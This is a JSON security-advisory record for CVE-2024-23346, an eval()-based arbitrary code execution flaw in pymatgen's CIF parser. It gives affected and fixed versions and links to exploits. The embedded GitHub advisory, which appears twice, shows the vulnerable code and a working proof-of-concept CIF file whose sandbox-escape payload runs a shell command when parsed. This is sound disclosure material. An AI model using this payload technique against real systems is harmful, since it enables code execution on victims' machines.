{"id":"CVE-2024-23346","aliases":["DEBIAN-CVE-2024-23346","DSA-5763-1","EUVD-2024-0203","GHSA-vgv8-5cpj-qj2f","PYSEC-2024-226","UBUNTU-CVE-2024-23346"],"status":"published","title":"pymatgen arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string","description":"Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis. A critical security vulnerability exists in the `JonesFaithfulTransformation.from_transformation_str()` method within the `pymatgen` library prior to version 2024.2.20. This method insecurely utilizes `eval()` for processing input, enabling execution of arbitrary code when parsing untrusted input. Version 2024.2.20 fixes this issue.","severity":{"version":"3.1","score":9.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.03848,"percentile":0.90226,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-77"],"published":"2024-02-21T16:13:25Z","modified":"2026-11-02T12:00:48Z","exploits":[{"source":"exploitdb","id":"EDB-52205","title":"Pymatgen 2024.1 - Remote Code Execution (RCE)","type":"remote","platform":"python","date":"2025-04-15","url":"https://www.exploit-db.com/exploits/52205"},{"source":"pocgithub","id":"9carlo6/CVE-2024-23346","title":"9carlo6/CVE-2024-23346","date":"2024-11-05","url":"https://github.com/9carlo6/CVE-2024-23346"},{"source":"pocgithub","id":"DAVIDAROCA27/CVE-2024-23346-exploit","title":"DAVIDAROCA27/CVE-2024-23346-exploit","date":"2025-07-24","url":"https://github.com/DAVIDAROCA27/CVE-2024-23346-exploit"},{"source":"pocgithub","id":"MAWK0235/CVE-2024-23346","title":"MAWK0235/CVE-2024-23346","date":"2024-12-09","url":"https://github.com/MAWK0235/CVE-2024-23346"},{"source":"pocgithub","id":"Sanity-Archive/CVE-2024-23346","title":"Sanity-Archive/CVE-2024-23346","date":"2025-02-20","url":"https://github.com/Sanity-Archive/CVE-2024-23346"},{"source":"pocgithub","id":"szyth/CVE-2024-23346-rust-exploit","title":"szyth/CVE-2024-23346-rust-exploit","date":"2025-02-25","url":"https://github.com/szyth/CVE-2024-23346-rust-exploit"}],"fixes":[{"ecosystem":"PyPI","package":"pymatgen","fixed_in":["2024.2.20"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:12","package":"pymatgen","fixed_in":["2022.11.7+dfsg1-11+deb12u1"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"pymatgen","fixed_in":["2024.1.27+dfsg1-6"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"pymatgen","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2024.2.20"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"pymatgen","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2022.11.7+dfsg1-11+deb12u1"}]}],"versions":["2022.11.7+dfsg1-11"]},{"source":"osv","ecosystem":"Debian:13","package":"pymatgen","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2024.1.27+dfsg1-6"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"pymatgen","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2022.11.7+dfsg1-11+deb12u1"}]}],"versions":["2022.11.7+dfsg1-11"]},{"source":"osv","ecosystem":"PyPI","package":"pymatgen","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2024.2.20"}]}],"versions":["1.0.4","1.0.5","1.1.0","1.1.1","1.1.2","1.2.0","1.2.1","1.2.2","1.2.3","1.2.4","1.2.8","1.2.9","1.5.0","1.6.0","1.7.0","1.7.2","1.8.0","1.8.2","1.8.3","1.9.0","2.0.0","2.1.0","2.1.2","2.10.0","2.10.1","2.10.2","2.10.3","2.10.4","2.10.5","2.10.6","2.2.0","2.2.1","2.2.2","2.2.3","2.2.4","2.2.6","2.3.0","2.3.1","2.3.2","2.4.0","2.4.1","2.4.2","2.4.3","2.5.0","2.5.1","2.5.2","2.5.3","2.5.4","2.5.5","2.6.1","2.6.2","2.6.3","2.6.4","2.6.5","2.6.6","2.7.0","2.7.1","2.7.2b","2.7.3","2.7.4","2.7.5","2.7.6","2.7.7","2.7.8","2.7.9","2.8.0","2.8.1","2.8.10","2.8.2","2.8.3","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.1","2.9.10","2.9.11","2.9.12","2.9.13","2.9.14","2.9.2","2.9.3","2.9.4","2.9.5","2.9.6","2.9.7","2.9.8","2.9.9","2017.10.16","2017.11.27","2017.11.30","2017.11.6","2017.11.9","2017.12.15","2017.12.16","2017.12.30","2017.12.6","2017.12.8","2017.6.22","2017.6.24","2017.6.8","2017.7.21","2017.7.4","2017.8.14","2017.8.16","2017.8.20","2017.8.21","2017.8.4","2017.9.1","2017.9.23","2017.9.3","2018.1.19","2018.1.29","2018.10.18","2018.11.30","2018.11.6","2018.12.12","2018.2.13","2018.3.13","2018.3.14","2018.3.2","2018.3.23","2018.4.20","2018.4.6","2018.5.14","2018.5.21","2018.5.22","2018.5.3","2018.6.11","2018.6.27","2018.7.15","2018.7.23","2018.8.10","2018.8.7","2018.9.1","2018.9.12","2018.9.19","2018.9.30","2019.1.13","2019.1.24","2019.10.16","2019.10.2","2019.10.3","2019.10.4","2019.11.11","2019.12.22","2019.12.3","2019.2.24","2019.2.28","2019.2.4","2019.3.13","2019.3.27","2019.4.11","2019.5.1","2019.5.28","2019.5.8","2019.6.20","2019.6.5","2019.7.2","2019.7.21","2019.7.30","2019.8.14","2019.8.23","2019.9.12","2019.9.16","2019.9.7","2019.9.8","2020.1.10","2020.1.28","2020.10.20","2020.10.9","2020.10.9.1","2020.11.11","2020.12.18","2020.12.3","2020.12.31","2020.3.13","2020.3.2","2020.4.2","2020.4.29","2020.6.8","2020.7.10","2020.7.14","2020.7.16","2020.7.18","2020.7.3","2020.8.13","2020.8.3","2020.9.14","2021.2.13","2021.2.14","2021.2.16","2021.2.8","2021.2.8.1","2021.3.3","2021.3.4","2021.3.5","2021.3.9","2022.0.0","2022.0.1","2022.0.10","2022.0.11","2022.0.12","2022.0.13","2022.0.14","2022.0.15","2022.0.16","2022.0.17","2022.0.2","2022.0.3","2022.0.4","2022.0.5","2022.0.6","2022.0.7","2022.0.8","2022.0.9","2022.1.20","2022.1.24","2022.1.8","2022.1.9","2022.10.22","2022.11.1","2022.11.7","2022.2.1","2022.2.10","2022.2.7","2022.3.22","2022.3.24","2022.3.29","2022.3.7","2022.4.19","2022.4.26","2022.5.17","2022.5.18","2022.5.18.1","2022.5.19","2022.5.26","2022.7.19","2022.7.24","2022.7.24.1","2022.7.25","2022.7.8","2022.8.23","2022.9.21","2022.9.8","2023.1.20","2023.1.30","2023.1.9","2023.10.11","2023.10.3","2023.10.4","2023.11.10","2023.11.12","2023.12.18","2023.2.22","2023.2.28","2023.3.10","2023.3.23","2023.5.10","2023.5.31","2023.5.8","2023.6.23","2023.6.28","2023.7.11","2023.7.14","2023.7.17","2023.7.20","2023.8.10","2023.9.10","2023.9.2","2023.9.25","2024.1.26","2024.1.27","2024.2.8","3.0.0","3.0.1","3.0.10","3.0.11","3.0.12","3.0.13","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.2.0","3.2.1","3.2.10","3.2.2","3.2.3","3.2.4","3.2.5","3.2.6","3.2.7","3.2.8","3.2.9","3.3.0","3.3.1","3.3.2","3.3.3","3.3.4","3.3.5","3.3.6","3.4.0","3.5.0","3.5.1","3.5.2","3.5.3","3.6.0","3.6.1","3.7.0","3.7.1","4.0.0","4.0.1","4.0.2","4.1.0","4.1.1","4.2.0","4.2.1","4.2.2","4.2.3","4.2.4","4.2.5","4.3.0","4.3.1","4.3.2","4.4.0","4.4.1","4.4.10","4.4.11","4.4.12","4.4.2","4.4.3","4.4.4","4.4.5","4.4.6","4.4.7","4.4.8","4.4.9","4.5.0","4.5.1","4.5.2","4.5.3","4.5.4","4.5.5","4.5.6","4.5.7","4.6.0","4.6.1","4.6.2","4.7.0","4.7.1","4.7.2","4.7.3","4.7.4","4.7.5","4.7.6","4.7.7"]},{"source":"osv","ecosystem":"PyPI","package":"pymatgen","ranges":[{"type":"GIT","events":[{"introduced":"0"},{"fixed":"c231cbd3d5147ee920a37b6ee9dd236b376bcf5a"},{"fixed":"c231cbd3d5147ee920a37b6ee9dd236b376bcf5a"}]},{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2024.2.20"}]}],"versions":["1.0.4","1.0.5","1.1.0","1.1.1","1.1.2","1.2.0","1.2.1","1.2.2","1.2.3","1.2.4","1.2.8","1.2.9","1.5.0","1.6.0","1.7.0","1.7.2","1.8.0","1.8.2","1.8.3","1.9.0","2.0.0","2.1.0","2.1.2","2.10.0","2.10.1","2.10.2","2.10.3","2.10.4","2.10.5","2.10.6","2.2.0","2.2.1","2.2.2","2.2.3","2.2.4","2.2.6","2.3.0","2.3.1","2.3.2","2.4.0","2.4.1","2.4.2","2.4.3","2.5.0","2.5.1","2.5.2","2.5.3","2.5.4","2.5.5","2.6.1","2.6.2","2.6.3","2.6.4","2.6.5","2.6.6","2.7.0","2.7.1","2.7.2b","2.7.3","2.7.4","2.7.5","2.7.6","2.7.7","2.7.8","2.7.9","2.8.0","2.8.1","2.8.10","2.8.2","2.8.3","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.1","2.9.10","2.9.11","2.9.12","2.9.13","2.9.14","2.9.2","2.9.3","2.9.4","2.9.5","2.9.6","2.9.7","2.9.8","2.9.9","2017.10.16","2017.11.27","2017.11.30","2017.11.6","2017.11.9","2017.12.15","2017.12.16","2017.12.30","2017.12.6","2017.12.8","2017.6.22","2017.6.24","2017.6.8","2017.7.21","2017.7.4","2017.8.14","2017.8.16","2017.8.20","2017.8.21","2017.8.4","2017.9.1","2017.9.23","2017.9.3","2018.1.19","2018.1.29","2018.10.18","2018.11.30","2018.11.6","2018.12.12","2018.2.13","2018.3.13","2018.3.14","2018.3.2","2018.3.23","2018.4.20","2018.4.6","2018.5.14","2018.5.21","2018.5.22","2018.5.3","2018.6.11","2018.6.27","2018.7.15","2018.7.23","2018.8.10","2018.8.7","2018.9.1","2018.9.12","2018.9.19","2018.9.30","2019.1.13","2019.1.24","2019.10.16","2019.10.2","2019.10.3","2019.10.4","2019.11.11","2019.12.22","2019.12.3","2019.2.24","2019.2.28","2019.2.4","2019.3.13","2019.3.27","2019.4.11","2019.5.1","2019.5.28","2019.5.8","2019.6.20","2019.6.5","2019.7.2","2019.7.21","2019.7.30","2019.8.14","2019.8.23","2019.9.12","2019.9.16","2019.9.7","2019.9.8","2020.1.10","2020.1.28","2020.10.20","2020.10.9","2020.10.9.1","2020.11.11","2020.12.18","2020.12.3","2020.12.31","2020.3.13","2020.3.2","2020.4.2","2020.4.29","2020.6.8","2020.7.10","2020.7.14","2020.7.16","2020.7.18","2020.7.3","2020.8.13","2020.8.3","2020.9.14","2021.2.13","2021.2.14","2021.2.16","2021.2.8","2021.2.8.1","2021.3.3","2021.3.4","2021.3.5","2021.3.9","2022.0.0","2022.0.1","2022.0.10","2022.0.11","2022.0.12","2022.0.13","2022.0.14","2022.0.15","2022.0.16","2022.0.17","2022.0.2","2022.0.3","2022.0.4","2022.0.5","2022.0.6","2022.0.7","2022.0.8","2022.0.9","2022.1.20","2022.1.24","2022.1.8","2022.1.9","2022.10.22","2022.11.1","2022.11.7","2022.2.1","2022.2.10","2022.2.7","2022.3.22","2022.3.24","2022.3.29","2022.3.7","2022.4.19","2022.4.26","2022.5.17","2022.5.18","2022.5.18.1","2022.5.19","2022.5.26","2022.7.19","2022.7.24","2022.7.24.1","2022.7.25","2022.7.8","2022.8.23","2022.9.21","2022.9.8","2023.1.20","2023.1.30","2023.1.9","2023.10.11","2023.10.3","2023.10.4","2023.11.10","2023.11.12","2023.12.18","2023.2.22","2023.2.28","2023.3.10","2023.3.23","2023.5.10","2023.5.31","2023.5.8","2023.6.23","2023.6.28","2023.7.11","2023.7.14","2023.7.17","2023.7.20","2023.8.10","2023.9.10","2023.9.2","2023.9.25","2024.1.26","2024.1.27","2024.2.8","3.0.0","3.0.1","3.0.10","3.0.11","3.0.12","3.0.13","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.2.0","3.2.1","3.2.10","3.2.2","3.2.3","3.2.4","3.2.5","3.2.6","3.2.7","3.2.8","3.2.9","3.3.0","3.3.1","3.3.2","3.3.3","3.3.4","3.3.5","3.3.6","3.4.0","3.5.0","3.5.1","3.5.2","3.5.3","3.6.0","3.6.1","3.7.0","3.7.1","4.0.0","4.0.1","4.0.2","4.1.0","4.1.1","4.2.0","4.2.1","4.2.2","4.2.3","4.2.4","4.2.5","4.3.0","4.3.1","4.3.2","4.4.0","4.4.1","4.4.10","4.4.11","4.4.12","4.4.2","4.4.3","4.4.4","4.4.5","4.4.6","4.4.7","4.4.8","4.4.9","4.5.0","4.5.1","4.5.2","4.5.3","4.5.4","4.5.5","4.5.6","4.5.7","4.6.0","4.6.1","4.6.2","4.7.0","4.7.1","4.7.2","4.7.3","4.7.4","4.7.5","4.7.6","4.7.7","v2024.2.8","v2024.1.27","v2024.1.26","v2023.11.12","v2023.11.10","v2023.10.11","v2023.10.4","v2023.10.3","v2023.9.25","v2023.9.2","v2023.7.17","v2023.7.14","v2023.7.11","v2023.6.28","v2023.06.23","v2023.05.31","v2023.5.10","v2023.5.8","test_tag","v2023.3.23","v2023.3.10","v2023.2.28","v2023.2.22","v2023.1.30","v2023.1.20","v2022.11.7","v2022.11.1","v2022.10.22","v2022.8.23","v2022.7.25","v2022.7.24.1","v2022.7.24","v2022.7.19","v2022.7.8","v2022.3.22","v2022.5.19","v2022.5.18.1","v2022.5.18","v2022.5.17","v2022.4.19","v2022.3.29","v2022.3.24","v2022.2.25","v2022.2.10","v2022.2.7","v2022.2.1","v2022.1.24","v2022.1.20","v2022.01.09","v2022.01.08","v2022.01.07","v2022.1.7","v2022.0.17","v2022.0.14","v2022.0.13","v2022.0.12","v2022.0.11","v2022.0.10","v2022.0.8","v2022.0.7","v2022.0.6","v2022.0.4","v2022.0.3","v2022.0.2","v2022.0.1","v2021.3.5","v2021.3.4","v2021.3.3","v2021.2.27","v2021.2.16","v2021.2.14","v2021.2.13","v2021.2.12","v2021.2.8","v2021.1.28","v2020.12.31","v2020.12.18","v2020.11.11","v2020.10.20","v2020.9.14","v2020.7.18","v2020.7.16","v2020.7.15","v2020.7.13","v2020.7.14","v2020.7.3","v2020.6.8","v2020.4.29","v2020.3.13","v2020.3.2","v2020.1.28","v2020.1.10","v2019.12.22","v2019.12.3","v2019.10.16","v2019.10.3","v2019.10.2","v2019.9.16","v2019.9.12","v2019.9.8","v2019.9.7","v2019.8.23","v2019.8.14","v2019.7.30","v2019.7.21","v2019.7.2","v2019.5.28","v2019.5.8","v2019.5.1","v2019.4.11","v2019.3.27","v2019.3.13","v2019.2.28","v2019.2.24","v2019.2.4","v2019.1.13","v2018.11.30","v2018.11.6","v2018.10.18","v2018.9.30","v2018.9.19","v2018.9.12","v2018.9.1","v2018.8.10","v2018.8.7","v2018.7.17","v2018.6.27","v2018.6.11","v2018.5.22","v2018.5.21","v2018.5.14","v2018.5.3","v2018.4.20","v2018.4.6","v2018.3.14","v2018.3.2","v2018.2.13","v2018.1.29","v2018.1.19","v2017.12.30","v2017.12.15","v2017.12.8","v2017.12.6","v2017.11.30","v2017.11.27","v2017.11.9","v2017.11.6","v2017.9.3","v2017.9.1","v2017.8.21","v2017.8.20","v2017.8.16","v2017.8.14","v2017.8.4","v2017.7.4","v2017.6.24","v2017.6.22","v4.7.7","v4.7.6","v4.7.4","v4.7.3","v4.7.2","v4.7.1","v4.7.0","v4.6.2","v4.6.1","v4.6.0","v4.5.7","v4.5.6","v4.5.5","v4.5.4","v3.0.10","v3.0.8","v3.0.7","v3.0.6","v3.0.1","v3.0.0","v2.10.6","v2.9.5","v2.9.3","v2.8.6","v2.8.4","v2.8.0","v2.7.6","v2.7.5","v2.7.3","v2.6.2","v2.6.1","v2.1.2","v2.1.1","v2.1.0","v1.5.0","v1.4.0","v1.3.2","v1.3.1","v1.3.0","v1.2.9","v1.2.8","v1.2.7","v1.2.6","v1.2.5","v1.2.4","v1.2.3","v1.2.1","v1.2.0","v1.1.2","v1.1.1","v1.0.2"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"pymatgen","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2022.0.14+dfsg1-1","2022.0.16+dfsg1-1","2022.0.17+dfsg1-1","2022.0.17+dfsg1-1build1"]}],"products":[{"vendor":"materialsproject","product":"pymatgen"},{"vendor":"materialsvirtuallab","product":"pymatgen"},{"vendor":"pymatgen","product":"pymatgen"}],"references":[{"url":"https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Vendor Advisory","advisory","web","evidence","report"]},{"url":"https://github.com/materialsproject/pymatgen/commit/c231cbd3d5147ee920a37b6ee9dd236b376bcf5a","tags":["x_refsource_MISC","x_transferred","Patch","fix","web"]},{"url":"https://github.com/materialsproject/pymatgen/blob/master/pymatgen/symmetry/settings.py#L97C1-L111C108","tags":["x_refsource_MISC","x_transferred","Broken Link","web","report"]},{"url":"https://www.vicarius.io/vsociety/posts/critical-security-flaw-in-pymatgen-library-cve-2024-23346","tags":["Exploit","Third Party Advisory","web","evidence"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-23346","tags":["advisory"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/pymatgen/PYSEC-2024-226.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-vgv8-5cpj-qj2f","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/23xxx/CVE-2024-23346.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2024-23346","tags":["advisory"]},{"url":"https://github.com/materialsproject/pymatgen","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2024-23346","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2024-23346","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2024-23346","title":"pymatgen arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string","description":"Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis. A critical security vulnerability exists in the `JonesFaithfulTransformation.from_transformation_str()` method within the `pymatgen` library prior to version 2024.2.20. This method insecurely utilizes `eval()` for processing input, enabling execution of arbitrary code when parsing untrusted input. Version 2024.2.20 fixes this issue.","status":"published","published":"2024-02-21T16:13:25.498Z","modified":"2024-08-19T07:47:59.282Z","cvss":[{"version":"3.1","score":9.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T14:34:05.444281Z"}],"euvd":[{"id":"EUVD-2024-0203","description":"Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis. A critical security vulnerability exists in the `JonesFaithfulTransformation.from_transformation_str()` method within the `pymatgen` library prior to version 2024.2.20. This method insecurely utilizes `eval()` for processing input, enabling execution of arbitrary code when parsing untrusted input. Version 2024.2.20 fixes this issue.","status":"published","published":"2024-02-21T16:13:25Z","modified":"2024-08-19T07:47:59Z","cvss":[{"version":"3.1","score":9.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-03T00:56:15.627163Z"}],"ghsa":[{"id":"GHSA-vgv8-5cpj-qj2f","title":"pymatgen vulnerable to arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string","description":"### Summary\nA critical security vulnerability exists in the `JonesFaithfulTransformation.from_transformation_str()` method within the `pymatgen` library. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. This can be exploited when parsing a maliciously-created CIF file.\n\n### Details\nThe cause of the vulnerability is in [pymatgen/symmetry/settings.py#L97C1-L111C108](https://github.com/materialsproject/pymatgen/blob/master/pymatgen/symmetry/settings.py#L97C1-L111C108). The flawed code segment involves a regular expression operation followed by the use of `eval()`.\n\n#### Vulnerable code\n\n```py\nbasis_change = [\n    re.sub(r\"(?\u003c=\\w|\\))(?=\\() | (?\u003c=\\))(?=\\w) | (?\u003c=(\\d|a|b|c))(?=([abc]))\", r\"*\", string, flags=re.X)\n    for string in basis_change\n]\n\"\"\"snip\"\"\"\n([eval(x, {\"__builtins__\": None}, {\"a\": a, \"b\": b, \"c\": c}) for x in basis_change])\n```\n\nThe use of eval, even with `__builtins__` set to `None`, is still a security risk. The `BuiltinImporter` class can be recovered with subclass traversal.\n\n### PoC\n\nThe vulnerability can be exploited as follows:\n\nCreate a file `vuln.cif` with the following contents:\n\n```\ndata_5yOhtAoR\n_audit_creation_date            2018-06-08\n_audit_creation_method          \"Pymatgen CIF Parser Arbitrary Code Execution Exploit\"\n\nloop_\n_parent_propagation_vector.id\n_parent_propagation_vector.kxkykz\nk1 [0 0 0]\n\n_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+[\"__sub\" + \"classes__\"]) () if d.__name__ == \"BuiltinImporter\"][0].load_module (\"os\").system (\"touch pwned\");0,0,0'\n\n\n_space_group_magn.number_BNS  62.448\n_space_group_magn.name_BNS  \"P  n'  m  a'  \"\n```\n\nThen, parse the cif file with the following code:\n```py\nfrom pymatgen.io.cif import CifParser\nparser = CifParser(\"vuln.cif\")\nstructure = parser.parse_structures()\n```\n\n### Credits\n\nThis vulnerability was found and disclosed by [William Khem-Marquez](https://github.com/SteakEnthusiast).","status":"published","published":"2024-02-21T18:04:00Z","modified":"2026-03-18T05:08:01Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T14:39:37.554665Z"}],"nvd":[{"id":"CVE-2024-23346","description":"Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis. A critical security vulnerability exists in the `JonesFaithfulTransformation.from_transformation_str()` method within the `pymatgen` library prior to version 2024.2.20. This method insecurely utilizes `eval()` for processing input, enabling execution of arbitrary code when parsing untrusted input. Version 2024.2.20 fixes this issue.","status":"published","published":"2024-02-21T17:15:09.377Z","modified":"2026-06-17T07:12:38.44Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"},{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T14:09:37.655131Z"}],"osv":[{"id":"CVE-2024-23346","title":"pymatgen arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string","description":"Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis. A critical security vulnerability exists in the `JonesFaithfulTransformation.from_transformation_str()` method within the `pymatgen` library prior to version 2024.2.20. This method insecurely utilizes `eval()` for processing input, enabling execution of arbitrary code when parsing untrusted input. Version 2024.2.20 fixes this issue.","status":"published","published":"2024-02-21T16:13:25.498Z","modified":"2026-10-28T02:31:15.149039194Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T15:44:38.577405Z"},{"id":"DEBIAN-CVE-2024-23346","description":"Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis. A critical security vulnerability exists in the `JonesFaithfulTransformation.from_transformation_str()` method within the `pymatgen` library prior to version 2024.2.20. This method insecurely utilizes `eval()` for processing input, enabling execution of arbitrary code when parsing untrusted input. Version 2024.2.20 fixes this issue.","status":"published","published":"2024-02-21T17:15:09.377Z","modified":"2026-11-02T12:00:48.98278574Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:41.849198Z"},{"id":"GHSA-vgv8-5cpj-qj2f","title":"pymatgen vulnerable to arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string","description":"### Summary\nA critical security vulnerability exists in the `JonesFaithfulTransformation.from_transformation_str()` method within the `pymatgen` library. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. This can be exploited when parsing a maliciously-created CIF file.\n\n### Details\nThe cause of the vulnerability is in [pymatgen/symmetry/settings.py#L97C1-L111C108](https://github.com/materialsproject/pymatgen/blob/master/pymatgen/symmetry/settings.py#L97C1-L111C108). The flawed code segment involves a regular expression operation followed by the use of `eval()`.\n\n#### Vulnerable code\n\n```py\nbasis_change = [\n    re.sub(r\"(?\u003c=\\w|\\))(?=\\() | (?\u003c=\\))(?=\\w) | (?\u003c=(\\d|a|b|c))(?=([abc]))\", r\"*\", string, flags=re.X)\n    for string in basis_change\n]\n\"\"\"snip\"\"\"\n([eval(x, {\"__builtins__\": None}, {\"a\": a, \"b\": b, \"c\": c}) for x in basis_change])\n```\n\nThe use of eval, even with `__builtins__` set to `None`, is still a security risk. The `BuiltinImporter` class can be recovered with subclass traversal.\n\n### PoC\n\nThe vulnerability can be exploited as follows:\n\nCreate a file `vuln.cif` with the following contents:\n\n```\ndata_5yOhtAoR\n_audit_creation_date            2018-06-08\n_audit_creation_method          \"Pymatgen CIF Parser Arbitrary Code Execution Exploit\"\n\nloop_\n_parent_propagation_vector.id\n_parent_propagation_vector.kxkykz\nk1 [0 0 0]\n\n_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+[\"__sub\" + \"classes__\"]) () if d.__name__ == \"BuiltinImporter\"][0].load_module (\"os\").system (\"touch pwned\");0,0,0'\n\n\n_space_group_magn.number_BNS  62.448\n_space_group_magn.name_BNS  \"P  n'  m  a'  \"\n```\n\nThen, parse the cif file with the following code:\n```py\nfrom pymatgen.io.cif import CifParser\nparser = CifParser(\"vuln.cif\")\nstructure = parser.parse_structures()\n```\n\n### Credits\n\nThis vulnerability was found and disclosed by [William Khem-Marquez](https://github.com/SteakEnthusiast).","status":"published","published":"2024-02-21T18:04:00Z","modified":"2026-06-10T17:14:18.255748286Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T15:46:57.348035Z"},{"id":"PYSEC-2024-226","description":"Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis. A critical security vulnerability exists in the `JonesFaithfulTransformation.from_transformation_str()` method within the `pymatgen` library prior to version 2024.2.20. This method insecurely utilizes `eval()` for processing input, enabling execution of arbitrary code when parsing untrusted input. Version 2024.2.20 fixes this issue.","status":"published","published":"2024-02-21T17:15:09Z","modified":"2026-06-10T17:14:18.07778309Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:54.242332Z"},{"id":"UBUNTU-CVE-2024-23346","description":"Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis. A critical security vulnerability exists in the `JonesFaithfulTransformation.from_transformation_str()` method within the `pymatgen` library prior to version 2024.2.20. This method insecurely utilizes `eval()` for processing input, enabling execution of arbitrary code when parsing untrusted input. Version 2024.2.20 fixes this issue.","status":"published","published":"2024-02-21T17:15:00Z","modified":"2025-09-08T16:59:01Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"},{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T16:54:42.68848Z"},{"id":"DSA-5763-1","title":"pymatgen - security update","status":"published","published":"2024-08-30T00:00:00Z","modified":"2026-03-09T02:10:49.250662Z","updated_at":"2026-11-02T15:46:17.892347Z"}]}}